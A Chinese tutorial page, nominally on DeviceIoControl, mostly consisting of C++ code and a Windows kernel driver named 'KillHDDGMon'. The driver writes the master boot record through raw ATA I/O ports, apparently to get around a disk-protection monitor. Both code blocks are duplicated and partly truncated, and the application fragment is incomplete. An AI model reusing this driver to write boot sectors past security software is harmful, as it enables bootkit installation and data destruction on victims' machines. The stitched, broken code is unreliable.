C++中DeviceIoCteatol的用法實例
更新時間:2014年10月12日 11:54:18 投稿:shichen2014
這篇文章主要介紹了C++中DeviceIoCteatol的用法實例,對于學(xué)習(xí)C++針對硬件的操作有一定的參考借鑒價值,需要的朋友可以參考下
本文是一篇譯文,主要以實例形式講述了C++中DeviceIoCteatol的用法。分享給大家供大家參考。具體方法如下:
應(yīng)用程序代碼如下:
復(fù)制代碼 代碼如下:
DWORD dwBytesReturned = 0;
BYTE bytBuffer_1[512];
BYTE bytBuffer_2[512];
CHAR string[2048];
HANDLE hDevice, hDriver;
BOOL bRet;
bRet = DeviceIoControl(hDriver, IOCTL_WRITE, (LPVOID)bytBuffer_1, 512,
NULL, 0, &dwBytesReturned, NULL);
if(bRet == FALSE)
{
printf("\nFailed - DeviceIoControl - IOCTL_WRITE.\n");
return 0;
}
printf("\nWrite MBR using I/O port operations...\n");
bRet = ReadFile(hDevice, (LPVOID)bytBuffer_1, 512, &dwBytesReturned, NULL);
if(bRet == FALSE)
{
printf("\nFailed - ReadFile - the second one.\n");
return 0;
}
printf("\nRead MBR using the ReadFile function...\n");
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
sprintf(string, "\n");
for(DWORD n = 0; n < 512; n++)
{
sprintf(string, "%s %02X", string, bytBuffer_1[n]);
if(((n + 1) % 16) == 0)
sprintf(string, "%s\n", string);
if(((n + 1) % 16) == 8)
sprintf(string, "%s -", string);
}
printf("%s", string);
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
bRet = DeviceIoControl(hDriver, IOCTL_READ, NULL, 0, (LPVOID)bytBuffer_2, 512,
&dwBytesReturned, NULL);
if(bRet == FALSE)
{
printf("\nFailed - DeviceIoControl - IOCTL_READ - the second one.\n");
return 0;
}
printf("\nRead MBR using I/O port operations...\n");
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
sprintf(string, "\n");
for(DWORD t = 0; t < 512; t++)
{
sprintf(string, "%s %02X", string, bytBuffer_2[t]);
if(((t + 1) % 16) == 0)
sprintf(string, "%s\n", string);
if(((t + 1) % 16) == 8)
sprintf(string, "%s -", string);
}
printf("%s", string);
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
printf("\nSucceed - Kill HDDGMon.\n");
return 1;
}
BYTE bytBuffer_1[512];
BYTE bytBuffer_2[512];
CHAR string[2048];
HANDLE hDevice, hDriver;
BOOL bRet;
bRet = DeviceIoControl(hDriver, IOCTL_WRITE, (LPVOID)bytBuffer_1, 512,
NULL, 0, &dwBytesReturned, NULL);
if(bRet == FALSE)
{
printf("\nFailed - DeviceIoControl - IOCTL_WRITE.\n");
return 0;
}
printf("\nWrite MBR using I/O port operations...\n");
bRet = ReadFile(hDevice, (LPVOID)bytBuffer_1, 512, &dwBytesReturned, NULL);
if(bRet == FALSE)
{
printf("\nFailed - ReadFile - the second one.\n");
return 0;
}
printf("\nRead MBR using the ReadFile function...\n");
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
sprintf(string, "\n");
for(DWORD n = 0; n < 512; n++)
{
sprintf(string, "%s %02X", string, bytBuffer_1[n]);
if(((n + 1) % 16) == 0)
sprintf(string, "%s\n", string);
if(((n + 1) % 16) == 8)
sprintf(string, "%s -", string);
}
printf("%s", string);
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
bRet = DeviceIoControl(hDriver, IOCTL_READ, NULL, 0, (LPVOID)bytBuffer_2, 512,
&dwBytesReturned, NULL);
if(bRet == FALSE)
{
printf("\nFailed - DeviceIoControl - IOCTL_READ - the second one.\n");
return 0;
}
printf("\nRead MBR using I/O port operations...\n");
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
sprintf(string, "\n");
for(DWORD t = 0; t < 512; t++)
{
sprintf(string, "%s %02X", string, bytBuffer_2[t]);
if(((t + 1) % 16) == 0)
sprintf(string, "%s\n", string);
if(((t + 1) % 16) == 8)
sprintf(string, "%s -", string);
}
printf("%s", string);
printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");
printf("\nSucceed - Kill HDDGMon.\n");
return 1;
}
驅(qū)動代碼如下:
復(fù)制代碼 代碼如下:
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\KillHDDGMon"
#define LINK_NAME L"\\DosDevices\\KillHDDGMon"
#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
VOID Unload(
__in struct _DRIVER_OBJECT *DriverObject
)
{
UNICODE_STRING ustrLinkName;
DbgPrint("Driver Unload.....");
RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
IoDeleteSymbolicLink(&ustrLinkName);
IoDeleteDevice(DriverObject->DeviceObject);
}
NTSTATUS DispatchCreateClose(
__inout struct _DEVICE_OBJECT *DeviceObject,
__inout struct _IRP *Irp
)
{
NTSTATUS status = STATUS_SUCCESS;
KdPrint(("Dispatch CreateClose..."));
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DispatchIoctl(
__inout struct _DEVICE_OBJECT *DeviceObject,
__inout struct _IRP *Irp
)
{
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION pIrpStack;
ULONG outSize;
ULONG IoControlCode;
PVOID pIoBuffer;
KdPrint(("Dispatch Ioctl..."));
pIoBuffer = Irp->AssociatedIrp.SystemBuffer;
pIrpStack = IoGetCurrentIrpStackLocation(Irp);
outSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
IoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
switch (IoControlCode)
{
case IOCTL_WRITE:
__asm
{
push eax
push edx
//---------------------------------------------------
// 以下代碼用I/O端口來寫主引導(dǎo)區(qū)
mov dx,1f6h // 要讀入的磁盤號及磁頭號
mov al,0a0h // 磁盤0,磁頭0
out dx,al
mov dx,1f2h // 要寫的扇區(qū)數(shù)量
mov al,1 // 寫一個扇區(qū)
out dx,al
mov dx,1f3h // 要寫的扇區(qū)號
mov al,1 // 寫到1扇區(qū)
out dx,al
mov dx,1f4h // 要寫的柱面的低8位
mov al,0 // 低8位為0
out dx,al
mov dx,1f5h // 要寫的柱面的高2位
mov al,0 // 高2位為0
out dx,al
mov dx,1f7h // 命令端口
mov al,30h // 嘗試著寫扇區(qū)
out dx,al
still_going_1:
in al,dx
test al,8 // 如果扇區(qū)緩沖沒有準(zhǔn)備好的話則跳轉(zhuǎn),直到準(zhǔn)備好才向下執(zhí)行
jz still_going_1
pop edx
pop eax
}
WRITE_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
status = STATUS_SUCCESS;
break;
case IOCTL_READ:
if (outSize >= 512)
{
__asm
{
push eax
push edx
//---------------------------------------------------
// 以下代碼用I/O端口來讀主引導(dǎo)區(qū)
mov dx,1f6h // 要讀入的磁盤號及磁頭號
mov al,0a0h // 磁盤0,磁頭0
out dx,al
mov dx,1f2h // 要讀入的扇區(qū)數(shù)量
mov al,1 // 讀一個扇區(qū)
out dx,al
mov dx,1f3h // 要讀的扇區(qū)號
mov al,1 // 扇區(qū)號為1
out dx,al
mov dx,1f4h // 要讀的柱面的低8位
mov al,0 // 柱面低8位為0
out dx,al
mov dx,1f5h // 柱面高2位
mov al,0 // 柱面高2位為0(通過1F4H和1F5H端口我們可以確定用來讀的柱面號是0)
out dx,al
mov dx,1f7h // 命令端口
mov al,20h // 嘗試讀取扇區(qū)
out dx,al
still_going_2:
in al,dx // 扇區(qū)緩沖是否準(zhǔn)備好
test al,8 // 如果扇區(qū)緩沖沒有準(zhǔn)備好的話則跳轉(zhuǎn),直到準(zhǔn)備好才向下執(zhí)行。
jz still_going_2
/* mov cx,512/2 // 設(shè)置循環(huán)次數(shù)(512/2次)
mov di,offset buffer
mov dx,1f0h // 將要傳輸?shù)囊粋€字節(jié)的數(shù)據(jù)
rep insw // 傳輸數(shù)據(jù) */
//---------------------------------------------------
pop edx
pop eax
}
READ_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
status = STATUS_SUCCESS;
}
else
{
Irp->IoStatus.Information = 0;
status = STATUS_BUFFER_TOO_SMALL;
}
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(
__in struct _DRIVER_OBJECT *DriverObject,
__in PUNICODE_STRING RegistryPath
)
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrDevName;
UNICODE_STRING ustrLinkName;
PDEVICE_OBJECT pDevObj=NULL;
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
status = IoCreateDevice(DriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0,FALSE, &pDevObj);
if (!NT_SUCCESS(status))
{
return status;
}
RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);
if (!NT_SUCCESS(status))
{
IoDeleteSymbolicLink(&ustrLinkName);
return status;
}
return status;
}
#define DEVICE_NAME L"\\Device\\KillHDDGMon"
#define LINK_NAME L"\\DosDevices\\KillHDDGMon"
#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
VOID Unload(
__in struct _DRIVER_OBJECT *DriverObject
)
{
UNICODE_STRING ustrLinkName;
DbgPrint("Driver Unload.....");
RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
IoDeleteSymbolicLink(&ustrLinkName);
IoDeleteDevice(DriverObject->DeviceObject);
}
NTSTATUS DispatchCreateClose(
__inout struct _DEVICE_OBJECT *DeviceObject,
__inout struct _IRP *Irp
)
{
NTSTATUS status = STATUS_SUCCESS;
KdPrint(("Dispatch CreateClose..."));
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DispatchIoctl(
__inout struct _DEVICE_OBJECT *DeviceObject,
__inout struct _IRP *Irp
)
{
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION pIrpStack;
ULONG outSize;
ULONG IoControlCode;
PVOID pIoBuffer;
KdPrint(("Dispatch Ioctl..."));
pIoBuffer = Irp->AssociatedIrp.SystemBuffer;
pIrpStack = IoGetCurrentIrpStackLocation(Irp);
outSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
IoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
switch (IoControlCode)
{
case IOCTL_WRITE:
__asm
{
push eax
push edx
//---------------------------------------------------
// 以下代碼用I/O端口來寫主引導(dǎo)區(qū)
mov dx,1f6h // 要讀入的磁盤號及磁頭號
mov al,0a0h // 磁盤0,磁頭0
out dx,al
mov dx,1f2h // 要寫的扇區(qū)數(shù)量
mov al,1 // 寫一個扇區(qū)
out dx,al
mov dx,1f3h // 要寫的扇區(qū)號
mov al,1 // 寫到1扇區(qū)
out dx,al
mov dx,1f4h // 要寫的柱面的低8位
mov al,0 // 低8位為0
out dx,al
mov dx,1f5h // 要寫的柱面的高2位
mov al,0 // 高2位為0
out dx,al
mov dx,1f7h // 命令端口
mov al,30h // 嘗試著寫扇區(qū)
out dx,al
still_going_1:
in al,dx
test al,8 // 如果扇區(qū)緩沖沒有準(zhǔn)備好的話則跳轉(zhuǎn),直到準(zhǔn)備好才向下執(zhí)行
jz still_going_1
pop edx
pop eax
}
WRITE_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
status = STATUS_SUCCESS;
break;
case IOCTL_READ:
if (outSize >= 512)
{
__asm
{
push eax
push edx
//---------------------------------------------------
// 以下代碼用I/O端口來讀主引導(dǎo)區(qū)
mov dx,1f6h // 要讀入的磁盤號及磁頭號
mov al,0a0h // 磁盤0,磁頭0
out dx,al
mov dx,1f2h // 要讀入的扇區(qū)數(shù)量
mov al,1 // 讀一個扇區(qū)
out dx,al
mov dx,1f3h // 要讀的扇區(qū)號
mov al,1 // 扇區(qū)號為1
out dx,al
mov dx,1f4h // 要讀的柱面的低8位
mov al,0 // 柱面低8位為0
out dx,al
mov dx,1f5h // 柱面高2位
mov al,0 // 柱面高2位為0(通過1F4H和1F5H端口我們可以確定用來讀的柱面號是0)
out dx,al
mov dx,1f7h // 命令端口
mov al,20h // 嘗試讀取扇區(qū)
out dx,al
still_going_2:
in al,dx // 扇區(qū)緩沖是否準(zhǔn)備好
test al,8 // 如果扇區(qū)緩沖沒有準(zhǔn)備好的話則跳轉(zhuǎn),直到準(zhǔn)備好才向下執(zhí)行。
jz still_going_2
/* mov cx,512/2 // 設(shè)置循環(huán)次數(shù)(512/2次)
mov di,offset buffer
mov dx,1f0h // 將要傳輸?shù)囊粋€字節(jié)的數(shù)據(jù)
rep insw // 傳輸數(shù)據(jù) */
//---------------------------------------------------
pop edx
pop eax
}
READ_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
status = STATUS_SUCCESS;
}
else
{
Irp->IoStatus.Information = 0;
status = STATUS_BUFFER_TOO_SMALL;
}
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(
__in struct _DRIVER_OBJECT *DriverObject,
__in PUNICODE_STRING RegistryPath
)
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrDevName;
UNICODE_STRING ustrLinkName;
PDEVICE_OBJECT pDevObj=NULL;
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
status = IoCreateDevice(DriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0,FALSE, &pDevObj);
if (!NT_SUCCESS(status))
{
return status;
}
RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);
if (!NT_SUCCESS(status))
{
IoDeleteSymbolicLink(&ustrLinkName);
return status;
}
return status;
}
希望本文所述對大家的C++程序設(shè)計有所幫助。
您可能感興趣的文章:
- 詳解Java設(shè)計模式編程中的依賴倒置原則
- 深入理解JavaScript系列(22):S.O.L.I.D五大原則之依賴倒置原則DIP詳解
- PHP依賴倒置(Dependency Injection)代碼實例
- Spring學(xué)習(xí)筆記1之IOC詳解盡量使用注解以及java代碼
- 深入理解Java的Spring框架中的IOC容器
- linux系統(tǒng)下一個冷門的RAID卡ioc0及其監(jiān)控mpt-status
- Android應(yīng)用開發(fā)中控制反轉(zhuǎn)IoC設(shè)計模式使用教程
- 淺析Java的Spring框架中IOC容器容器的應(yīng)用
- 通過Setters方式對日期屬性及日期格式進(jìn)行IOC注入
- MVC使用Spring.Net應(yīng)用IOC(依賴倒置)學(xué)習(xí)筆記3
相關(guān)文章
淺談Linux環(huán)境下并發(fā)編程中C語言fork()函數(shù)的使用
fork函數(shù)在Linux中可以創(chuàng)建子進(jìn)程即一個新的進(jìn)程,這里我們根據(jù)實例來淺談Linux環(huán)境下并發(fā)編程中C語言fork()函數(shù)的使用,需要的朋友可以參考下2016-06-06